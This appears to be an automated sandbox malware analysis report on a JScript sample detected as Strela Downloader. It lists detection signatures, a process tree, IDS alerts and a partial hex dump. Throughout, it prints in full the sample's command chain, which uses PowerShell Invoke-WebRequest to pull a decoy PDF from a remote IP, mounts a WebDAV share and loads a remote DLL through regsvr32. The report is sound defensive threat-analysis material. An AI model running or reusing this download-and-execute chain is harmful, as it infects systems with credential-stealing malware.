Edit tour

Windows Analysis Report
2151829461519612017.js

Overview

General Information

Sample name:	2151829461519612017.js
Analysis ID:	1588649
MD5:	aae31c08ce94da4724bf7be97064d83e
SHA1:	352369c4cc371d720a3c918b3c5e7cda3b6aa5cb
SHA256:	4e788f7396b6ebe04fbaf379f4a5eac97b8132c70d18f9422ee5e1883a38b968
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6020 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2151829461519612017.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6556 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5900 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6916 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6028 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7372 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2184 --field-trial-handle=1748,i,1039896660048130409,3306249072533402271,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5688 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6724 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7200 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6020	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6556, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5900, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6556, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5900, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2151829461519612017.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2151829461519612017.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2151829461519612017.js", ProcessId: 6020, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6724, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2151829461519612017.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6020, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, ProcessId: 6556, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2151829461519612017.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6020, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, ProcessId: 6556, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2151829461519612017.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6020, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, ProcessId: 6556, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2151829461519612017.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6020, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, ProcessId: 6556, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2151829461519612017.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6020, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, ProcessId: 6556, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2151829461519612017.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2151829461519612017.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2151829461519612017.js", ProcessId: 6020, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6556, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5900, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5688, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6724, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7200, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5688, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6724, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2151829461519612017.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6020, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll, ProcessId: 6556, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:41:59.650787+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:42:02.746083+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:41:59.650787+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 2151829461519612017.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 2151829461519612017.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:41:59 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

